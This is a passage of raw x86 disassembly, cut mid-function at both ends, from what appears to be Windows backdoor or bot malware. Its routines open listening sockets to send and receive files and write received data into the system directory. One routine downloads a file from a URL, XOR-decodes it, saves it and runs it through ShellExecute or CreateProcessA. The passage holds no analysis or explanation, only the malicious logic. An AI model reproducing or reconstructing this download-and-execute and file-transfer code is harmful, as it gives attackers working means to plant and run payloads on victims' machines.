		push	eax
		call	sub_40BF6D
		push	[ebp+var_10]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_424054	; ExitThread

loc_40C3E4:				; CODE XREF: sub_40C351+3Fj
		push	offset byte_43C80C
		push	ebx
		call	sub_40B56C
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40C44F
		lea	eax, [ebp+var_11B4]
		push	offset dword_42E094
		push	eax
		call	sub_4172AE
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_40C42B
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40D679
		add	esp, 14h

loc_40C42B:				; CODE XREF: sub_40C351+BDj
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	ebx
		call	ds:dword_43F700	; closesocket
		push	[ebp+var_10]
		call	sub_417076
		pop	ecx
		push	esi
		call	ds:dword_424054	; ExitThread

loc_40C44F:				; CODE XREF: sub_40C351+A3j
		push	64h
		call	ds:dword_424064	; Sleep
		xor	edi, edi
		mov	esi, 1000h

loc_40C45E:				; CODE XREF: sub_40C351+168j
		push	esi
		lea	eax, [ebp+var_11B4]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_11B4]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	ds:dword_43F680	; recv
		test	eax, eax
		jle	short loc_40C4BB
		lea	eax, [ebp+var_11B4]
		push	offset asc_42A660 ; "\n"
		push	eax
		call	sub_4179D0
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40B358
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40C4BB
		push	64h
		call	ds:dword_424064	; Sleep
		push	7
		call	sub_416FA2
		test	eax, eax
		pop	ecx
		jnz	short loc_40C45E

loc_40C4BB:				; CODE XREF: sub_40C351+130j
					; sub_40C351+154j
		lea	eax, [ebp+var_11B4]
		push	offset dword_42E050
		push	eax
		call	sub_4172AE
		cmp	[ebp+var_8], edi
		pop	ecx
		pop	ecx
		jnz	short loc_40C4EE
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40D679
		add	esp, 14h

loc_40C4EE:				; CODE XREF: sub_40C351+180j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	ebx
		call	ds:dword_43F700	; closesocket
		push	[ebp+var_10]
		call	sub_417076
		pop	ecx
		push	edi
		call	ds:dword_424054	; ExitThread
sub_40C351	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C512	proc near		; DATA XREF: sub_40EE72+4A7Co

var_A04		= byte ptr -0A04h
var_604		= byte ptr -604h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_3FC		= byte ptr -3FCh
var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
var_1E0		= byte ptr -1E0h
var_DC		= byte ptr -0DCh
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1FC]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp+var_10], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp+var_C], esi
		mov	[ebp+var_20], esi
		call	ds:dword_43F6E8	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_18], edi
		jnz	short loc_40C560
		push	offset dword_42E258
		jmp	loc_40C719
; ---------------------------------------------------------------------------

loc_40C560:				; CODE XREF: sub_40C512+42j
		push	10h
		lea	eax, [ebp+var_30]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_30], 2
		push	esi
		call	ds:dword_43F668	; htons
		mov	word ptr [ebp+var_2E], ax
		lea	eax, [ebp+var_30]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_2E+2],	esi
		call	ds:dword_43F694	; bind
		test	eax, eax
		jz	short loc_40C59E
		push	offset dword_42E224
		jmp	loc_40C719
; ---------------------------------------------------------------------------

loc_40C59E:				; CODE XREF: sub_40C512+80j
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_1C], 10h
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		push	edi
		call	ds:dword_43F60C	; getsockname
		push	[ebp+var_2E]
		call	ds:dword_43F5A4	; htons
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_1E0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_417AB0
		pop	ecx

loc_40C5D0:				; CODE XREF: sub_40C512+EFj
		mov	ecx, [ebp+arg_0]
		mov	al, [ebp+ecx+var_1E0]
		cmp	al, 20h
		jnz	short loc_40C5E3
		push	5Fh
		pop	eax
		jmp	short loc_40C5E6
; ---------------------------------------------------------------------------

loc_40C5E3:				; CODE XREF: sub_40C512+CAj
		movsx	eax, al

loc_40C5E6:				; CODE XREF: sub_40C512+CFj
		mov	[ebp+ecx+var_604], al
		lea	eax, [ebp+var_1E0]
		inc	ecx
		push	eax
		mov	[ebp+arg_0], ecx
		call	sub_417AB0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jbe	short loc_40C5D0
		push	ebx
		push	edi
		call	ds:dword_43F690	; listen
		test	eax, eax
		jz	short loc_40C619
		push	offset dword_42E0D4
		jmp	loc_40C719
; ---------------------------------------------------------------------------

loc_40C619:				; CODE XREF: sub_40C512+FBj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp+var_1E0]
		push	80000000h
		push	eax
		call	ds:off_424084
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_40C643
		push	offset dword_42E1F4
		jmp	loc_40C719
; ---------------------------------------------------------------------------

loc_40C643:				; CODE XREF: sub_40C512+125j
		push	esi
		push	eax
		call	ds:off_4240A4
		mov	[ebp+arg_0], eax
		push	eax
		movzx	eax, word ptr [ebp+var_4]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	ds:dword_43F6A8	; inet_addr
		push	eax
		call	ds:dword_43F664	; htonl
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_42E1DC
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_3FC]
		push	esi
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D679
		add	esp, 2Ch
		lea	eax, [ebp+var_38]
		mov	[ebp+var_38], 3Ch
		mov	[ebp+var_34], esi
		push	eax
		push	esi
		lea	eax, [ebp+var_500]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_4FC], edi
		mov	[ebp+var_500], ebx
		call	ds:dword_43F650	; select
		test	eax, eax
		jg	short loc_40C6F3
		push	esi
		lea	eax, [ebp+var_DC]
		push	[ebp+var_54]
		push	offset dword_42E1B4
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D679
		jmp	loc_40C817
; ---------------------------------------------------------------------------

loc_40C6F3:				; CODE XREF: sub_40C512+1BFj
		lea	eax, [ebp+var_14]
		mov	[ebp+var_14], 10h
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		push	edi
		call	ds:dword_43F6FC	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_1F8], eax
		jnz	short loc_40C72C
		push	offset dword_42E180

loc_40C719:				; CODE XREF: sub_40C512+49j
					; sub_40C512+87j ...
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx
		jmp	loc_40C81A
; ---------------------------------------------------------------------------

loc_40C72C:				; CODE XREF: sub_40C512+200j
		push	edi
		call	ds:dword_43F700	; closesocket
		cmp	[ebp+arg_0], esi
		jz	loc_40C7DE
		mov	edi, 400h

loc_40C741:				; CODE XREF: sub_40C512+2C3j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		cmp	eax, edi
		jge	short loc_40C74E
		mov	[ebp+var_4], eax

loc_40C74E:				; CODE XREF: sub_40C512+237j
		push	edi
		lea	eax, [ebp+var_A04]
		push	esi
		push	eax
		call	sub_417330
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	[ebp+var_8]
		call	ds:off_4240C0
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8]
		call	ds:off_424074
		push	esi
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_1F8]
		call	ds:dword_43F6B8	; send
		mov	[ebp+var_4], eax
		push	esi
		cdq
		add	[ebp+var_10], eax
		lea	eax, [ebp+var_A04]
		push	edi
		push	eax
		push	[ebp+var_1F8]
		adc	[ebp+var_C], edx
		call	ds:dword_43F680	; recv
		cmp	eax, ebx
		jl	loc_40C873
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jl	loc_40C873
		sub	[ebp+arg_0], eax
		jnz	loc_40C741
		mov	edi, [ebp+var_18]

loc_40C7DE:				; CODE XREF: sub_40C512+224j
		push	[ebp+var_8]
		call	ds:off_424078
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		push	[ebp+var_44]
		call	ds:dword_43F6F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_42E130
		push	eax
		call	sub_4172AE

loc_40C817:				; CODE XREF: sub_40C512+1DCj
		add	esp, 14h

loc_40C81A:				; CODE XREF: sub_40C512+215j
		cmp	[ebp+var_50], esi
		jnz	short loc_40C83F
		push	esi
		lea	eax, [ebp+var_3FC]
		push	[ebp+var_54]
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D679
		add	esp, 14h

loc_40C83F:				; CODE XREF: sub_40C512+30Bj
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_40BF6D
		cmp	edi, esi
		pop	ecx
		jbe	short loc_40C857
		push	edi
		call	ds:dword_43F700	; closesocket

loc_40C857:				; CODE XREF: sub_40C512+33Cj
		push	[ebp+var_1F8]
		call	ds:dword_43F700	; closesocket
		push	[ebp+var_58]
		call	sub_417076
		pop	ecx
		push	esi
		call	ds:dword_424054	; ExitThread

loc_40C873:				; CODE XREF: sub_40C512+2AFj
					; sub_40C512+2BAj
		push	esi
		mov	esi, offset dword_42E108
		push	[ebp+var_54]
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D679
		push	esi
		call	sub_40BF6D
		add	esp, 18h
		push	[ebp+var_1F8]
		call	ds:dword_43F700	; closesocket
		push	[ebp+var_58]
		call	sub_417076
		pop	ecx
		push	ebx
		call	ds:dword_424054	; ExitThread
sub_40C512	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8B4	proc near		; DATA XREF: sub_40EE72+7C0o

var_14C4	= byte ptr -14C4h
var_4C4		= byte ptr -4C4h
var_2C4		= byte ptr -2C4h
var_1C0		= dword	ptr -1C0h
var_1B8		= byte ptr -1B8h
var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1C0]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp+var_8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_2C4]
		push	104h
		push	eax
		call	ds:dword_424068	; GetSystemDirectoryA
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_4172AE
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		call	ds:off_424084
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40C93E
		push	offset dword_42E350
		jmp	short loc_40C984
; ---------------------------------------------------------------------------

loc_40C93E:				; CODE XREF: sub_40C8B4+81j
		push	eax
		call	ds:off_424078
		lea	eax, [ebp+var_2C4]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_4179A8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_40C966
		push	offset dword_42E310
		jmp	short loc_40C984
; ---------------------------------------------------------------------------

loc_40C966:				; CODE XREF: sub_40C8B4+A9j
		push	[ebp+var_20]
		lea	eax, [ebp+var_1B8]
		push	eax
		call	sub_40C2CB
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+arg_0], eax
		jnz	short loc_40C997
		push	offset dword_42E2E0

loc_40C984:				; CODE XREF: sub_40C8B4+88j
					; sub_40C8B4+B0j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx
		jmp	loc_40CA93
; ---------------------------------------------------------------------------

loc_40C997:				; CODE XREF: sub_40C8B4+C9j
		mov	esi, 1000h

loc_40C99C:				; CODE XREF: sub_40C8B4+14Ej
		push	esi
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43F680	; recv
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40CA63
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40CA04
		push	[ebp+var_4]
		lea	eax, [ebp+var_14C4]
		push	edi
		push	1
		push	eax
		call	sub_4196EF
		add	[ebp+var_8], edi
		add	esp, 10h
		push	[ebp+var_8]
		call	ds:dword_43F664	; htonl
		mov	[ebp+var_C], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43F6B8	; send
		jmp	short loc_40C99C
; ---------------------------------------------------------------------------

loc_40CA04:				; CODE XREF: sub_40C8B4+118j
		lea	eax, [ebp+var_4C4]
		push	offset dword_42E108
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_40D679
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_4]
		call	sub_417900
		add	esp, 24h
		push	[ebp+arg_0]
		call	ds:dword_43F700	; closesocket
		push	[ebp+var_1C]
		call	sub_417076
		pop	ecx
		push	1
		call	ds:dword_424054	; ExitThread

loc_40CA63:				; CODE XREF: sub_40C8B4+10Fj
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	offset dword_42E28C
		push	eax
		call	sub_4172AE
		add	esp, 14h

loc_40CA93:				; CODE XREF: sub_40C8B4+DEj
		cmp	[ebp+var_14], ebx
		jnz	short loc_40CAB8
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_40D679
		add	esp, 14h

loc_40CAB8:				; CODE XREF: sub_40C8B4+1E2j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_40BF6D
		cmp	[ebp+var_4], ebx
		pop	ecx
		jz	short loc_40CAD3
		push	[ebp+var_4]
		call	sub_417900
		pop	ecx

loc_40CAD3:				; CODE XREF: sub_40C8B4+214j
		cmp	[ebp+arg_0], ebx
		jbe	short loc_40CAE1
		push	[ebp+arg_0]
		call	ds:dword_43F700	; closesocket

loc_40CAE1:				; CODE XREF: sub_40C8B4+222j
		push	[ebp+var_1C]
		call	sub_417076
		pop	ecx
		push	ebx
		call	ds:dword_424054	; ExitThread
sub_40C8B4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CAF1	proc near		; DATA XREF: sub_40EE72+381Eo
					; sub_40EE72+3F6Do

var_570		= qword	ptr -570h
var_564		= qword	ptr -564h
var_510		= byte ptr -510h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_2E4		= dword	ptr -2E4h
var_2E0		= word ptr -2E0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_248		= byte ptr -248h
var_148		= byte ptr -148h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp+var_2CC]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		push	ds:dword_43F618
		call	ds:dword_43F578	; InternetOpenUrlA
		cmp	eax, esi
		mov	[ebp+var_18], eax
		jz	loc_40CF7D
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	40000000h
		push	eax
		call	ds:off_424084
		cmp	eax, edi
		mov	[ebp+var_20], eax
		jnb	short loc_40CBB8
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_42E5E4
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CB9B
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		add	esp, 14h

loc_40CB9B:				; CODE XREF: sub_40CAF1+88j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_48]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_424054	; ExitThread

loc_40CBB8:				; CODE XREF: sub_40CAF1+68j
		xor	edi, edi
		call	ds:dword_424058	; GetTickCount
		mov	ebx, 7D000h
		mov	dword ptr [ebp+var_8+4], eax
		push	ebx
		call	sub_417B89
		pop	ecx
		mov	[ebp+var_1C], eax

loc_40CBD2:				; CODE XREF: sub_40CAF1+1B4j
		push	200h
		lea	eax, [ebp+var_510]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_510]
		push	200h
		push	eax
		push	[ebp+var_18]
		call	ds:dword_43F580	; InternetReadFile
		cmp	[ebp+var_34], esi
		jz	short loc_40CC16
		push	[ebp+arg_0]
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40CFE3
		pop	ecx
		pop	ecx

loc_40CC16:				; CODE XREF: sub_40CAF1+112j
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		lea	eax, [ebp+var_510]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_20]
		call	ds:dword_42407C	; WriteFile
		cmp	edi, ebx
		jnb	short loc_40CC54
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+arg_0]
		jbe	short loc_40CC3E
		mov	eax, [ebp+arg_0]

loc_40CC3E:				; CODE XREF: sub_40CAF1+148j
		push	eax
		lea	eax, [ebp+var_510]
		push	eax
		mov	eax, [ebp+var_1C]
		add	eax, edi
		push	eax
		call	sub_417390
		add	esp, 0Ch

loc_40CC54:				; CODE XREF: sub_40CAF1+13Fj
		add	edi, [ebp+arg_0]
		cmp	[ebp+var_3C], esi
		jz	short loc_40CC61
		cmp	edi, [ebp+var_3C]
		ja	short loc_40CCAB

loc_40CC61:				; CODE XREF: sub_40CAF1+169j
		cmp	[ebp+var_44], 1
		mov	eax, edi
		jz	short loc_40CC7B
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42E59C
		jmp	short loc_40CC8B
; ---------------------------------------------------------------------------

loc_40CC7B:				; CODE XREF: sub_40CAF1+176j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42E55C

loc_40CC8B:				; CODE XREF: sub_40CAF1+188j
		mov	eax, [ebp+var_48]
		imul	eax, 234h
		add	eax, offset dword_444EC0
		push	eax
		call	sub_4172AE
		add	esp, 10h
		cmp	[ebp+arg_0], esi
		ja	loc_40CBD2

loc_40CCAB:				; CODE XREF: sub_40CAF1+16Ej
		cmp	[ebp+var_3C], esi
		mov	[ebp+var_14], 1
		jz	short loc_40CD00
		cmp	edi, [ebp+var_3C]
		jz	short loc_40CD00
		push	[ebp+var_3C]
		lea	eax, [ebp+var_510]
		mov	[ebp+var_14], esi
		push	edi
		push	offset unk_42E518
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		add	esp, 28h

loc_40CD00:				; CODE XREF: sub_40CAF1+1C4j
					; sub_40CAF1+1C9j
		call	ds:dword_424058	; GetTickCount
		sub	eax, dword ptr [ebp+var_8+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	[ebp+var_20]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	ds:off_424078
		push	[ebp+var_1C]
		call	sub_417C3B
		cmp	[ebp+var_38], esi
		pop	ecx
		jz	short loc_40CD8A
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_40C259
		cmp	eax, [ebp+var_38]
		pop	ecx
		jz	short loc_40CD8A
		push	[ebp+var_38]
		mov	[ebp+var_14], esi
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_42E4E0
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		add	esp, 28h

loc_40CD8A:				; CODE XREF: sub_40CAF1+241j
					; sub_40CAF1+253j
		cmp	[ebp+var_14], esi
		jz	loc_40CFCA
		cmp	[ebp+var_44], 1
		jz	loc_40CE85
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	ds:dbl_424698
		lea	eax, [ebp+var_148]
		fstp	[esp+564h+var_564]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	ds:dbl_424698
		fstp	[esp+570h+var_570]
		push	offset unk_42E498
		push	eax
		call	sub_4172AE
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CE05
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		add	esp, 14h

loc_40CE05:				; CODE XREF: sub_40CAF1+2F2j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		cmp	[ebp+var_40], 1
		pop	ecx
		jnz	loc_40CFCA
		push	5
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	ds:dword_43F5DC
		cmp	[ebp+var_30], esi
		jnz	loc_40CFCA
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset dword_42E464
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		add	esp, 24h
		jmp	loc_40CFCA
; ---------------------------------------------------------------------------

loc_40CE85:				; CODE XREF: sub_40CAF1+2A6j
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	ds:dbl_424698
		lea	eax, [ebp+var_148]
		fstp	[esp+564h+var_564]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	ds:dbl_424698
		fstp	[esp+570h+var_570]
		push	offset unk_42E414
		push	eax
		call	sub_4172AE
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CEED
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		add	esp, 14h

loc_40CEED:				; CODE XREF: sub_40CAF1+3DAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp+var_310]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417330
		add	esp, 1Ch
		mov	[ebp+var_310], edi
		lea	eax, [ebp+var_10]
		mov	[ebp+var_304], offset byte_43C80C
		push	1
		mov	[ebp+var_2E0], si
		pop	edi
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_2E4], edi
		call	ds:dword_424120	; CreateProcessA
		cmp	eax, edi
		jnz	short loc_40CF6F
		call	ds:dword_43F5C8	; WSACleanup
		call	sub_40AC42
		push	esi
		call	ds:off_42414C

loc_40CF6F:				; CODE XREF: sub_40CAF1+46Aj
		lea	eax, [ebp+var_148]
		push	eax
		push	offset unk_42E3CC
		jmp	short loc_40CF89
; ---------------------------------------------------------------------------

loc_40CF7D:				; CODE XREF: sub_40CAF1+45j
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42E390

loc_40CF89:				; CODE XREF: sub_40CAF1+48Aj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CFBD
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		add	esp, 14h

loc_40CFBD:				; CODE XREF: sub_40CAF1+4AAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		pop	ecx

loc_40CFCA:				; CODE XREF: sub_40CAF1+29Cj
					; sub_40CAF1+325j ...
		push	[ebp+var_18]
		call	ds:dword_43F69C	; InternetCloseHandle
		push	[ebp+var_48]
		call	sub_417076
		pop	ecx
		push	esi
		call	ds:dword_424054	; ExitThread
sub_40CAF1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40CFE3	proc near		; CODE XREF: sub_40CAF1+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_40CFFF

loc_40CFEF:				; CODE XREF: sub_40CFE3+1Aj
		mov	dl, ds:byte_42F5C4
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_40CFEF

